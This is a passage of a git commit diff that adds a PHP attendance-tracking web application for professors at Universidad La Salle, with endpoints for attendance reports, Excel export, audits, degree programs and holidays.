Initial Commit
This commit is contained in:
18
.gitignore
vendored
Normal file
18
.gitignore
vendored
Normal file
@@ -0,0 +1,18 @@
|
|||||||
|
composer.phar
|
||||||
|
/vendor/
|
||||||
|
|
||||||
|
/temp/
|
||||||
|
/template/
|
||||||
|
/node_modules/
|
||||||
|
/include/nusoap/
|
||||||
|
/fonts/
|
||||||
|
/imagenes/
|
||||||
|
/concept/
|
||||||
|
/backup/
|
||||||
|
/.vscode/
|
||||||
|
/export/
|
||||||
|
/log/
|
||||||
|
|
||||||
|
/include/.env
|
||||||
|
*/.env
|
||||||
|
log/asistencias_2023_08.log
|
||||||
5
.prettierrc
Normal file
5
.prettierrc
Normal file
@@ -0,0 +1,5 @@
|
|||||||
|
{
|
||||||
|
"tabWidth": 2,
|
||||||
|
"useTabs": false,
|
||||||
|
"bracketSpacing": false
|
||||||
|
}
|
||||||
13
README.md
Normal file
13
README.md
Normal file
@@ -0,0 +1,13 @@
|
|||||||
|
# Checador de Profesor de la Universidad La Salle 🎓
|
||||||
|
|
||||||
|

|
||||||
|
|
||||||
|
## Descripción
|
||||||
|
|
||||||
|
Herramienta diseñada para el registro y control de asistencia de profesores en la Universidad La Salle. Asegura que los profesores realicen el registro de su entrada y salida y proporciona herramientas de auditoría para supervisores.
|
||||||
|
|
||||||
|
## Características
|
||||||
|
|
||||||
|
- Registro de entrada de profesores.
|
||||||
|
- Base de datos segura con información del profesor.
|
||||||
|
- Herramientas de auditoría para supervisores.
|
||||||
39
action/action_asistencias.php
Normal file
39
action/action_asistencias.php
Normal file
@@ -0,0 +1,39 @@
|
|||||||
|
<?php
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../class/c_login.php";
|
||||||
|
|
||||||
|
// check if the session is started
|
||||||
|
$user = Login::get_user();
|
||||||
|
extract($_POST);
|
||||||
|
|
||||||
|
$initial_date = DateTime::createFromFormat('d/m/Y', $fecha_inicial);
|
||||||
|
$final_date = DateTime::createFromFormat('d/m/Y', $fecha_final);
|
||||||
|
|
||||||
|
if ($initial_date > $final_date) {
|
||||||
|
echo json_encode(['error' => 'La fecha inicial no puede ser mayor a la fecha final']);
|
||||||
|
die;
|
||||||
|
}
|
||||||
|
// Nombre del profesor es opcional
|
||||||
|
$params = [
|
||||||
|
':carrera' => empty($carrera) ? null : $carrera,
|
||||||
|
':periodo' => $periodo,
|
||||||
|
':nombre' => empty($nombre) ? null : $nombre,
|
||||||
|
':clave' => empty($clave) ? null : $clave,
|
||||||
|
':initial_date' => $initial_date->format('Y-m-d'),
|
||||||
|
':final_date' => $final_date->format('Y-m-d'),
|
||||||
|
':facultad' => $facultad,
|
||||||
|
];
|
||||||
|
|
||||||
|
$response = json_encode(
|
||||||
|
[
|
||||||
|
"retardo" => query("SELECT FS_HAS_RETARDO(:facultad) retardo", [
|
||||||
|
'facultad' => $facultad
|
||||||
|
]),
|
||||||
|
"reporte" => queryAll(
|
||||||
|
"SELECT * FROM fs_asistencia_reporte(:carrera, :periodo, :clave, :nombre, :facultad, :initial_date, :final_date) where total > 0",
|
||||||
|
$params
|
||||||
|
)
|
||||||
|
]
|
||||||
|
);
|
||||||
|
$user->print_to_log("Genera reporte de asistencias", old: $params);
|
||||||
|
echo $response;
|
||||||
98
action/action_asistencias_excel.php
Normal file
98
action/action_asistencias_excel.php
Normal file
@@ -0,0 +1,98 @@
|
|||||||
|
<?php
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../vendor/autoload.php";
|
||||||
|
require_once "../class/c_login.php";
|
||||||
|
|
||||||
|
$user = Login::get_user();
|
||||||
|
|
||||||
|
$user->print_to_log('Genera excel de asistencias');
|
||||||
|
|
||||||
|
use PhpOffice\PhpSpreadsheet\Spreadsheet;
|
||||||
|
|
||||||
|
$spreadsheet = new Spreadsheet();
|
||||||
|
$sheet = $spreadsheet->getActiveSheet();
|
||||||
|
|
||||||
|
//crea imagen
|
||||||
|
$drawing = new \PhpOffice\PhpSpreadsheet\Worksheet\Drawing();
|
||||||
|
$drawing->setName('La Salle');
|
||||||
|
$drawing->setDescription('La Salle');
|
||||||
|
$drawing->setPath('../imagenes/logo.png'); // put your path and image here
|
||||||
|
$drawing->setCoordinates('A1');
|
||||||
|
$drawing->setHeight(100);
|
||||||
|
$drawing->setOffsetX(10);
|
||||||
|
//agrega imagen
|
||||||
|
$drawing->setWorksheet($spreadsheet->getActiveSheet());
|
||||||
|
|
||||||
|
|
||||||
|
// In POST
|
||||||
|
/** Array
|
||||||
|
* * nombre
|
||||||
|
* * clave
|
||||||
|
* * id
|
||||||
|
* * total
|
||||||
|
* * asistencias
|
||||||
|
* * faltas
|
||||||
|
* * justificaciones
|
||||||
|
* * retardos
|
||||||
|
*/
|
||||||
|
|
||||||
|
$retardo = query("SELECT COALESCE(FS_HAS_RETARDO(:facultad), FALSE) AS retardo", [':facultad' => $user->facultad['facultad_id']])['retardo'];
|
||||||
|
extract($_POST);
|
||||||
|
|
||||||
|
$row = 6;
|
||||||
|
|
||||||
|
$sheet->setCellValue("A$row", 'Clave');
|
||||||
|
$sheet->setCellValue("B$row", 'Profesor');
|
||||||
|
$sheet->setCellValue("C$row", 'Asistencias');
|
||||||
|
$sheet->setCellValue("D$row", 'Faltas');
|
||||||
|
$sheet->setCellValue("E$row", 'Justificaciones');
|
||||||
|
$sheet->setCellValue("F$row", 'Retardos');
|
||||||
|
$sheet->setCellValue("G$row", 'Total');
|
||||||
|
|
||||||
|
// $row++;
|
||||||
|
$col = 0;
|
||||||
|
# die(print_r($asistencias, true));
|
||||||
|
foreach (json_decode($asistencias, true) as $profesor) {
|
||||||
|
$row++;
|
||||||
|
$sheet->setCellValue("A$row", $profesor['profesor_clave']);
|
||||||
|
$sheet->setCellValue("B$row", $profesor['profesor_nombre']);
|
||||||
|
$sheet->setCellValue("C$row", $profesor['asistencias']);
|
||||||
|
$sheet->setCellValue("D$row", $profesor['faltas']);
|
||||||
|
$sheet->setCellValue("E$row", $profesor['justificaciones']);
|
||||||
|
$sheet->setCellValue("F$row", $profesor['retardos']);
|
||||||
|
$sheet->setCellValue("G$row", $profesor['total']);
|
||||||
|
}
|
||||||
|
|
||||||
|
# Style
|
||||||
|
$sheet->getStyle("A6:G$row")->getBorders()->getAllBorders()->setBorderStyle(\PhpOffice\PhpSpreadsheet\Style\Border::BORDER_THIN);
|
||||||
|
$sheet->getStyle("A6:G$row")->getAlignment()->setHorizontal(\PhpOffice\PhpSpreadsheet\Style\Alignment::HORIZONTAL_CENTER);
|
||||||
|
$sheet->getStyle("A6:G$row")->getAlignment()->setVertical(\PhpOffice\PhpSpreadsheet\Style\Alignment::VERTICAL_CENTER);
|
||||||
|
$sheet->getStyle("A6:G$row")->getAlignment()->setWrapText(true);
|
||||||
|
$sheet->getStyle("A6:G$row")->getFont()->setSize(12);
|
||||||
|
$sheet->getStyle("A6:G$row")->getFont()->setName('Indivisa Sans');
|
||||||
|
# Autosize columns
|
||||||
|
foreach (range('A', 'G') as $column) {
|
||||||
|
$sheet->getColumnDimension($column)->setAutoSize(true);
|
||||||
|
}
|
||||||
|
# filters in the column
|
||||||
|
$sheet->setAutoFilter("A6:G6");
|
||||||
|
|
||||||
|
if (!$retardo) # hide column
|
||||||
|
$sheet->getColumnDimension('F')->setVisible(false);
|
||||||
|
|
||||||
|
#$writer = new Xlsx($spreadsheet);
|
||||||
|
$writer = \PhpOffice\PhpSpreadsheet\IOFactory::createWriter($spreadsheet, 'Xlsx');
|
||||||
|
# $writer->save('asistencias.xlsx');
|
||||||
|
|
||||||
|
// download
|
||||||
|
header('Content-Type: application/vnd.openxmlformats-officedocument.spreadsheetml.sheet');
|
||||||
|
header('Content-Disposition: attachment;filename="asistencias.xlsx"');
|
||||||
|
header('Cache-Control: max-age=0');
|
||||||
|
|
||||||
|
// cache expires in 60 seconds (1 minute)
|
||||||
|
header('Expires: mon 26 jul 1997 05:00:00 gmt');
|
||||||
|
header('Last-Modified: ' . gmdate('D, d M Y H:i:s') . ' GMT');
|
||||||
|
header('Cache-Control: cache, must-revalidate');
|
||||||
|
header('Pragma: public');
|
||||||
|
|
||||||
|
$writer->save('php://output');
|
||||||
128
action/action_auditoria.php
Normal file
128
action/action_auditoria.php
Normal file
@@ -0,0 +1,128 @@
|
|||||||
|
<?
|
||||||
|
#input $_GET['id_espacio_sgu']
|
||||||
|
#output rutas: [ ...ruta, salones: [{...salon}] ]
|
||||||
|
header('Content-Type: application/json charset=utf-8');
|
||||||
|
ini_set('memory_limit', '500M');
|
||||||
|
ini_set('post_max_size', '500M');
|
||||||
|
ini_set('display_errors', 1);
|
||||||
|
ini_set('display_startup_errors', 1);
|
||||||
|
error_reporting(E_ALL);
|
||||||
|
|
||||||
|
$ruta = "../";
|
||||||
|
require_once $ruta . "class/c_login.php";
|
||||||
|
if (!isset($_SESSION['user'])) {
|
||||||
|
http_response_code(401);
|
||||||
|
die(json_encode(['error' => 'unauthorized']));
|
||||||
|
}
|
||||||
|
$user = unserialize($_SESSION['user']);
|
||||||
|
|
||||||
|
// check method
|
||||||
|
try {
|
||||||
|
if ($_SERVER['REQUEST_METHOD'] === 'GET') {
|
||||||
|
$baseDate = $_GET['fecha'] ?? $_GET['fecha_fin'] ?? null;
|
||||||
|
|
||||||
|
$params = [
|
||||||
|
':periodo_id' => $_GET['periodo_id'] == 1 ? $user->periodo_id : null,
|
||||||
|
':facultad_id' => $user->facultad['facultad_id'],
|
||||||
|
':fecha_inicio' => $_GET['fecha'] ?? $_GET['fecha_inicio'] ?? date('Y-m-d'),
|
||||||
|
':fecha_fin' => $baseDate ? date('Y-m-d H:i:s', strtotime($baseDate . ' +24 hours')) : date('Y-m-d H:i:s'),
|
||||||
|
];
|
||||||
|
$data = $db->query(
|
||||||
|
"WITH horarios AS (
|
||||||
|
SELECT
|
||||||
|
horario_id,
|
||||||
|
horario.facultad_id,
|
||||||
|
horario_fecha_inicio,
|
||||||
|
horario_fecha_fin,
|
||||||
|
horario_grupo,
|
||||||
|
horario_hora,
|
||||||
|
PERIODO.periodo_fecha_inicio,
|
||||||
|
PERIODO.periodo_fecha_fin,
|
||||||
|
salon,
|
||||||
|
COALESCE(materia_nombre, materia_asignacion_materia) as materia,
|
||||||
|
coalesce(carrera_nombre, materia_asignacion_carrera) as carrera,
|
||||||
|
facultad_nombre as facultad,
|
||||||
|
nivel_nombre as nivel,
|
||||||
|
horario_fin
|
||||||
|
FROM horario
|
||||||
|
left JOIN materia USING (materia_id)
|
||||||
|
left join carrera using (carrera_id)
|
||||||
|
left join materia_asignacion using (horario_id)
|
||||||
|
join facultad on facultad.facultad_id = horario.facultad_id
|
||||||
|
JOIN PERIODO USING (periodo_id)
|
||||||
|
JOIN nivel on periodo.nivel_id = nivel.nivel_id
|
||||||
|
JOIN SALON USING (salon_id)
|
||||||
|
WHERE (PERIODO.periodo_id, horario.facultad_id) = (COALESCE(:periodo_id, PERIODO.periodo_id), COALESCE(:facultad_id, horario.facultad_id))
|
||||||
|
),
|
||||||
|
fechas AS (
|
||||||
|
SELECT fechas_clase(h.horario_id, true) as registro_fecha_ideal, h.horario_id
|
||||||
|
FROM horarios h
|
||||||
|
)
|
||||||
|
SELECT
|
||||||
|
usuario.usuario_nombre,
|
||||||
|
registro.registro_id,
|
||||||
|
registro.registro_fecha,
|
||||||
|
registro.registro_retardo,
|
||||||
|
registro.registro_justificada,
|
||||||
|
registro_fecha_supervisor,
|
||||||
|
justificacion,
|
||||||
|
comentario,
|
||||||
|
registro_fecha_justificacion,
|
||||||
|
profesor.profesor_id, profesor_nombre, profesor_clave, profesor_correo,
|
||||||
|
horario_id,
|
||||||
|
materia, carrera, horarios.facultad_id, facultad, nivel, horario_hora, horario_fin, horario_grupo, horarios.salon,
|
||||||
|
fechas.registro_fecha_ideal,
|
||||||
|
estado_supervisor.estado_supervisor_id as estado_supervisor_id,
|
||||||
|
estado_supervisor.nombre as nombre,
|
||||||
|
estado_supervisor.estado_color as estado_color,
|
||||||
|
estado_supervisor.estado_icon as estado_icon,
|
||||||
|
justificador.usuario_nombre as justificador_nombre,
|
||||||
|
justificador.usuario_clave as justificador_clave,
|
||||||
|
facultad.facultad_nombre as justificador_facultad,
|
||||||
|
rol.rol_titulo as justificador_rol,
|
||||||
|
registro.reposicion_id,
|
||||||
|
reposicion_fecha,
|
||||||
|
reposicion_hora,
|
||||||
|
salon_reposicion.salon as reposicion_salon,
|
||||||
|
CASE WHEN registro_retardo THEN 'warning' ELSE 'primary' END as color
|
||||||
|
FROM horarios
|
||||||
|
JOIN fechas using (horario_id)
|
||||||
|
JOIN horario_profesor using (horario_id)
|
||||||
|
JOIN profesor using (profesor_id)
|
||||||
|
LEFT JOIN registro USING (horario_id, registro_fecha_ideal, profesor_id)
|
||||||
|
LEFT JOIN reposicion USING (reposicion_id)
|
||||||
|
LEFT JOIN salon as salon_reposicion ON salon_reposicion.salon_id = reposicion.salon_id
|
||||||
|
join estado_supervisor ON estado_supervisor.estado_supervisor_id = COALESCE(registro.estado_supervisor_id, 0)
|
||||||
|
LEFT JOIN USUARIO ON USUARIO.usuario_id = REGISTRO.supervisor_id
|
||||||
|
LEFT JOIN USUARIO JUSTIFICADOR ON JUSTIFICADOR.usuario_id = REGISTRO.justificador_id
|
||||||
|
LEFT JOIN ROL on ROL.rol_id = justificador.rol_id
|
||||||
|
left join facultad on facultad.facultad_id = justificador.facultad_id
|
||||||
|
WHERE (fechas.registro_fecha_ideal + HORARIO_HORA) BETWEEN
|
||||||
|
GREATEST(HORARIO_FECHA_INICIO, PERIODO_FECHA_INICIO, :fecha_inicio) AND LEAST(PERIODO_FECHA_FIN, HORARIO_FECHA_FIN, :fecha_fin)
|
||||||
|
ORDER BY fechas.registro_fecha_ideal DESC, horarios.horario_id, profesor_nombre",
|
||||||
|
$params
|
||||||
|
);
|
||||||
|
$db->delete('general_log');
|
||||||
|
$db->insert('general_log', [
|
||||||
|
'general_log_json' => json_encode($params, JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT),
|
||||||
|
]);
|
||||||
|
echo json_encode(array_merge($data), JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT);
|
||||||
|
} else {
|
||||||
|
http_response_code(405);
|
||||||
|
echo json_encode(['error' => 'method not allowed']);
|
||||||
|
exit;
|
||||||
|
}
|
||||||
|
} catch (PDOException $th) {
|
||||||
|
http_response_code(500);
|
||||||
|
echo json_encode([
|
||||||
|
'error' => $th->getMessage(),
|
||||||
|
// 'query' => $db->getLastQuery(),
|
||||||
|
], JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES | JSON_PARTIAL_OUTPUT_ON_ERROR);
|
||||||
|
exit;
|
||||||
|
} catch (Exception $th) {
|
||||||
|
http_response_code(500);
|
||||||
|
echo json_encode([
|
||||||
|
'error' => $th->getMessage(),
|
||||||
|
], JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT);
|
||||||
|
exit;
|
||||||
|
}
|
||||||
52
action/action_avisos.php
Normal file
52
action/action_avisos.php
Normal file
@@ -0,0 +1,52 @@
|
|||||||
|
<?
|
||||||
|
#input $_GET['id_espacio_sgu']
|
||||||
|
#output rutas: [ ...ruta, salones: [{...salon}] ]
|
||||||
|
header('Content-Type: application/json charset=utf-8');
|
||||||
|
ini_set('display_errors', 1);
|
||||||
|
ini_set('display_startup_errors', 1);
|
||||||
|
error_reporting(E_ALL);
|
||||||
|
|
||||||
|
$ruta = "../";
|
||||||
|
require_once $ruta . "class/c_login.php";
|
||||||
|
if (!isset($_SESSION['user'])) {
|
||||||
|
http_response_code(401);
|
||||||
|
die(json_encode(['error' => 'unauthorized']));
|
||||||
|
}
|
||||||
|
$user = unserialize($_SESSION['user']);
|
||||||
|
|
||||||
|
// check method
|
||||||
|
try {
|
||||||
|
if ($_SERVER['REQUEST_METHOD'] === 'GET') {
|
||||||
|
$data = $db->query(
|
||||||
|
'SELECT * FROM AVISO',
|
||||||
|
[
|
||||||
|
':facultad_id' => $user->facultad['facultad_id'],
|
||||||
|
':fecha_inicio' => $_GET['fecha'] ?? $_GET['fecha_inicio'] ?? null,
|
||||||
|
':fecha_fin' => $_GET['fecha'] ?? $_GET['fecha_fin'] ?? null,
|
||||||
|
]
|
||||||
|
);
|
||||||
|
|
||||||
|
$last_query = [
|
||||||
|
'query' => $db->getLastQuery(),
|
||||||
|
];
|
||||||
|
|
||||||
|
echo json_encode($data, JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT);
|
||||||
|
} else {
|
||||||
|
http_response_code(405);
|
||||||
|
echo json_encode(['error' => 'method not allowed']);
|
||||||
|
exit;
|
||||||
|
}
|
||||||
|
} catch (PDOException $th) {
|
||||||
|
http_response_code(500);
|
||||||
|
echo json_encode([
|
||||||
|
'error' => $th->getMessage(),
|
||||||
|
'query' => $db->getLastQuery(),
|
||||||
|
], JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES | JSON_PARTIAL_OUTPUT_ON_ERROR);
|
||||||
|
exit;
|
||||||
|
} catch (Exception $th) {
|
||||||
|
http_response_code(500);
|
||||||
|
echo json_encode([
|
||||||
|
'error' => $th->getMessage(),
|
||||||
|
], JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT);
|
||||||
|
exit;
|
||||||
|
}
|
||||||
27
action/action_carreras.php
Normal file
27
action/action_carreras.php
Normal file
@@ -0,0 +1,27 @@
|
|||||||
|
<?php
|
||||||
|
header('Content-Type: application/json');
|
||||||
|
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../class/c_login.php";
|
||||||
|
|
||||||
|
// check if the session is started
|
||||||
|
if (!isset($_SESSION['user']))
|
||||||
|
die(json_encode(['error' => 'No se ha iniciado sesión']));
|
||||||
|
|
||||||
|
$user = unserialize($_SESSION['user']);
|
||||||
|
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../include/bd_pdo.php";
|
||||||
|
$facultad_id = $user->facultad['facultad_id'];
|
||||||
|
$carreras = $db->query(
|
||||||
|
"SELECT carrera_id, carrera_nombre, clave_carrera
|
||||||
|
FROM carrera
|
||||||
|
WHERE
|
||||||
|
(facultad_id = :facultad_id OR :facultad_id IS NULL)
|
||||||
|
ORDER BY carrera_nombre DESC",
|
||||||
|
array('facultad_id' => $facultad_id)
|
||||||
|
);
|
||||||
|
|
||||||
|
// $user->print_to_log("Crea carrera", old: $_POST);
|
||||||
|
|
||||||
|
die(json_encode($carreras));
|
||||||
19
action/action_carreras_insert.php
Normal file
19
action/action_carreras_insert.php
Normal file
@@ -0,0 +1,19 @@
|
|||||||
|
<?php
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../class/c_login.php";
|
||||||
|
|
||||||
|
// check if the session is started
|
||||||
|
if (!isset($_SESSION['user']))
|
||||||
|
die(json_encode(['error' => 'No se ha iniciado sesión']));
|
||||||
|
|
||||||
|
$user = unserialize($_SESSION['user']);
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../include/bd_pdo.php";
|
||||||
|
$sql = "SELECT fi_carrera(:nombre, :idfacultad, :idnivel, true, :estado)";
|
||||||
|
$params = [':nombre' => mb_strtoupper($_POST['nombre']), ':idfacultad' => $_POST['facultad'], ':idnivel' => $_POST['nivel'], ':estado' => $_POST['estado']];
|
||||||
|
|
||||||
|
print_r($_POST);
|
||||||
|
echo json_encode(query($sql, $params, true));
|
||||||
|
$user->print_to_log("Crea carrera", new: $params);
|
||||||
|
header("Location: ../carreras.php?facultad=" . $_POST['facultad']);
|
||||||
|
exit();
|
||||||
16
action/action_carreras_select.php
Normal file
16
action/action_carreras_select.php
Normal file
@@ -0,0 +1,16 @@
|
|||||||
|
<?php
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../class/c_login.php";
|
||||||
|
|
||||||
|
// check if the session is started
|
||||||
|
if (!isset($_SESSION['user']))
|
||||||
|
die(json_encode(['error' => 'No se ha iniciado sesión']));
|
||||||
|
|
||||||
|
$user = unserialize($_SESSION['user']);
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../include/bd_pdo.php";
|
||||||
|
global $pdo;
|
||||||
|
$sql = "SELECT * FROM fs_carreras(:idfacultad, :idcarrera, null)";
|
||||||
|
$params = [':idfacultad' => $_POST['idfacultad'], ':idcarrera' => $_POST['idcarrera']];
|
||||||
|
$user->print_to_log("Crea carrera", old: $params);
|
||||||
|
echo json_encode(query($sql, $params, true));
|
||||||
19
action/action_carreras_update.php
Normal file
19
action/action_carreras_update.php
Normal file
@@ -0,0 +1,19 @@
|
|||||||
|
<?php
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../class/c_login.php";
|
||||||
|
|
||||||
|
// check if the session is started
|
||||||
|
if (!isset($_SESSION['user']))
|
||||||
|
die(json_encode(['error' => 'No se ha iniciado sesión']));
|
||||||
|
|
||||||
|
$user = unserialize($_SESSION['user']);
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../include/bd_pdo.php";
|
||||||
|
$old = query("SELECT * FROM FS_CARRERA WHERE ID = :id", [':id' => $_POST['id']]);
|
||||||
|
$sql = "SELECT fu_updatecarrera(:idcarrera, :nombre, :activa, :idnivel)";
|
||||||
|
print_r($_POST);
|
||||||
|
$params = [':idcarrera' => $_POST['id'], ':nombre' => mb_strtoupper($_POST['nombre']), ':activa' => $_POST['estado'], ':idnivel' => $_POST['nivel']];
|
||||||
|
query($sql, $params, true);
|
||||||
|
$user->print_to_log("Actualiza carrera.", old: $old, new: $params);
|
||||||
|
header("Location: ../carreras.php?facultad=" . $_POST['facultad']);
|
||||||
|
exit();
|
||||||
15
action/action_diasfestivos_borra.php
Normal file
15
action/action_diasfestivos_borra.php
Normal file
@@ -0,0 +1,15 @@
|
|||||||
|
<?php
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../class/c_login.php";
|
||||||
|
|
||||||
|
// check if the session is started
|
||||||
|
if (!isset($_SESSION['user']))
|
||||||
|
die(json_encode(['error' => 'No se ha iniciado sesión']));
|
||||||
|
|
||||||
|
$user = unserialize($_SESSION['user']);
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../include/bd_pdo.php";
|
||||||
|
#$sql = "SELECT * FROM diasfestivos WHERE diasfestivos_id = :id";
|
||||||
|
$sql = "DELETE FROM diasfestivos WHERE diasfestivos_id = :id";
|
||||||
|
$params = [':id' => $_POST['id']];
|
||||||
|
echo json_encode(query($sql, $params, false));
|
||||||
57
action/action_diasfestivos_insert.php
Normal file
57
action/action_diasfestivos_insert.php
Normal file
@@ -0,0 +1,57 @@
|
|||||||
|
<?php
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../class/c_login.php";
|
||||||
|
|
||||||
|
// check if the session is started
|
||||||
|
if (!isset($_SESSION['user']))
|
||||||
|
die(json_encode(['error' => 'No se ha iniciado sesión']));
|
||||||
|
|
||||||
|
$user = unserialize($_SESSION['user']);
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../include/bd_pdo.php";
|
||||||
|
global $pdo;
|
||||||
|
//print_r($_POST);
|
||||||
|
if (!isset($_POST['periodo']) || count($_POST["periodo"])==0) {
|
||||||
|
header("Location: ../días_festivos.php?error=0");
|
||||||
|
exit();
|
||||||
|
}
|
||||||
|
$periodoArr = $_POST['periodo'];
|
||||||
|
|
||||||
|
if (isset($_POST['rango'])) {
|
||||||
|
$diaInicio = new DateTime(date("Y-m-d", strtotime(str_replace("/", "-", $_POST['diaFestivo']))));
|
||||||
|
$diaFin = new DateTime(date("Y-m-d", strtotime(str_replace("/", "-", $_POST['diaFestivoFin']))));
|
||||||
|
$cantidad = $diaFin->diff($diaInicio);
|
||||||
|
$date = date("Y-m-d", strtotime(str_replace("/", "-", $_POST['diaFestivo'])));
|
||||||
|
for ($dias = 0; $dias <= $cantidad->days; $dias++) {
|
||||||
|
foreach($periodoArr as $periodo){
|
||||||
|
$db->querySingle('SELECT fi_diasfestivos(:periodo, :dia)', [':periodo' => $periodo, ':dia' => $date]);
|
||||||
|
/*$sql = "SELECT fi_diasfestivos(:periodo, :dia)";
|
||||||
|
$params = [':periodo' => $periodo, ':dia' => $date];
|
||||||
|
query($sql, $params, false);*/
|
||||||
|
}
|
||||||
|
$date = date("Y-m-d", strtotime($date . "+ 1 days"));
|
||||||
|
}
|
||||||
|
header("Location: ../días_festivos.php");
|
||||||
|
exit();
|
||||||
|
} else {
|
||||||
|
/*$sql = "SELECT * FROM fs_diasfestivos(null, :dia)";
|
||||||
|
$params = [':dia' => $_POST['diaFestivo']];
|
||||||
|
$dia_general = query($sql, $params, false);
|
||||||
|
$sql = "SELECT * FROM fs_diasfestivos(null, null, :periodo, :dia)";
|
||||||
|
$params = [':periodo' => $periodo, ":dia" => $_POST['diaFestivo']];
|
||||||
|
$dia = query($sql, $params, false);*/
|
||||||
|
//if (!$dia && !$dia_general) { //no hay repetidos
|
||||||
|
foreach($periodoArr as $periodo){
|
||||||
|
$db->querySingle('SELECT fi_diasfestivos(:periodo, :dia)', [':periodo' => $periodo, ':dia' => $_POST['diaFestivo']]);
|
||||||
|
/*$sql = "SELECT fi_diasfestivos(:periodo, :dia)";
|
||||||
|
$params = [':periodo' => $periodo, ":dia" => $_POST['diaFestivo']];
|
||||||
|
$id = query($sql, $params, false);*/
|
||||||
|
}
|
||||||
|
header("Location: ../días_festivos.php");
|
||||||
|
exit();
|
||||||
|
|
||||||
|
/*} else {
|
||||||
|
header("Location: ../días_festivos.php?error=1");
|
||||||
|
exit();
|
||||||
|
}*/
|
||||||
|
}
|
||||||
19
action/action_diasfestivos_select.php
Normal file
19
action/action_diasfestivos_select.php
Normal file
@@ -0,0 +1,19 @@
|
|||||||
|
<?php
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../class/c_login.php";
|
||||||
|
|
||||||
|
// check if the session is started
|
||||||
|
if (!isset($_SESSION['user']))
|
||||||
|
die(json_encode(['error' => 'No se ha iniciado sesión']));
|
||||||
|
|
||||||
|
$user = unserialize($_SESSION['user']);
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../include/bd_pdo.php";
|
||||||
|
global $pdo;
|
||||||
|
$params = [':id' => $_POST['id']];
|
||||||
|
if ($_POST['periodo'] == 0) {
|
||||||
|
$sql = "SELECT * FROM fs_diasfestivos(:id, null)";
|
||||||
|
} else {
|
||||||
|
$sql = "SELECT * FROM fs_diasfestivos(null, :id, null, null)";
|
||||||
|
}
|
||||||
|
echo json_encode(query($sql, $params, true));
|
||||||
31
action/action_diasfestivos_update.php
Normal file
31
action/action_diasfestivos_update.php
Normal file
@@ -0,0 +1,31 @@
|
|||||||
|
<?php
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../class/c_login.php";
|
||||||
|
|
||||||
|
// check if the session is started
|
||||||
|
if (!isset($_SESSION['user']))
|
||||||
|
die(json_encode(['error' => 'No se ha iniciado sesión']));
|
||||||
|
|
||||||
|
$user = unserialize($_SESSION['user']);
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../include/bd_pdo.php";
|
||||||
|
global $pdo;
|
||||||
|
if ($_POST['periodo'] == 0) {
|
||||||
|
$periodo = null;
|
||||||
|
} else
|
||||||
|
$periodo = $_POST['periodo'];
|
||||||
|
$sql = "SELECT * FROM fs_diasfestivos(null, :dia) WHERE diasfestivos_id != :id";
|
||||||
|
$params = [':dia' => $_POST['diaFestivo'], ':id' => $_POST['id']];
|
||||||
|
$dia_general = query($sql, $params, false);
|
||||||
|
$sql = "SELECT * FROM fs_diasfestivos(null, null, :periodo, :dia) WHERE diasfestivos_id != :id";
|
||||||
|
$params = [':periodo' => $periodo, ':dia' => $_POST['diaFestivo'], ':id' => $_POST['id']];
|
||||||
|
$dia = query($sql, $params, false);
|
||||||
|
if (!$dia && !$dia_general) { //no hay repetidos
|
||||||
|
$sql = "SELECT fu_update_diasfestivos(:id, :dia, :periodo)";
|
||||||
|
query($sql, $params, false);
|
||||||
|
header("Location: ../días_festivos.php");
|
||||||
|
exit();
|
||||||
|
} else { //es repetido
|
||||||
|
header("Location: ../días_festivos.php?error=1");
|
||||||
|
exit();
|
||||||
|
}
|
||||||
42
action/action_estado_supervisor.php
Normal file
42
action/action_estado_supervisor.php
Normal file
@@ -0,0 +1,42 @@
|
|||||||
|
<?
|
||||||
|
#input $_GET['id_espacio_sgu']
|
||||||
|
define("INFORMATION", [
|
||||||
|
'GET' => [
|
||||||
|
],
|
||||||
|
]);
|
||||||
|
#output rutas: [ ...ruta, salones: [{...salon}] ]
|
||||||
|
header('Content-Type: application/json charset=utf-8');
|
||||||
|
#return html
|
||||||
|
$ruta = "../";
|
||||||
|
require_once "../class/c_login.php";
|
||||||
|
// check method
|
||||||
|
try {
|
||||||
|
if ($_SERVER['REQUEST_METHOD'] === 'GET') {
|
||||||
|
// check parameters
|
||||||
|
$raw = file_get_contents('php://input');
|
||||||
|
$post_get = json_decode($raw, true);
|
||||||
|
|
||||||
|
$data = $db->get('estado_supervisor');
|
||||||
|
echo json_encode($data, JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT);
|
||||||
|
} else {
|
||||||
|
http_response_code(405);
|
||||||
|
echo json_encode(['error' => 'method not allowed']);
|
||||||
|
exit;
|
||||||
|
|
||||||
|
}
|
||||||
|
|
||||||
|
} catch (PDOException $th) {
|
||||||
|
http_response_code(500);
|
||||||
|
echo json_encode([
|
||||||
|
'error' => $th->getMessage(),
|
||||||
|
'query' => $db->getLastQuery(),
|
||||||
|
'post_data' => $post_get,
|
||||||
|
], JSON_UNESCAPED_UNICODE | JSON_PRETTY_PRINT);
|
||||||
|
exit;
|
||||||
|
} catch (Exception $th) {
|
||||||
|
http_response_code(500);
|
||||||
|
echo json_encode([
|
||||||
|
'error' => $th->getMessage(),
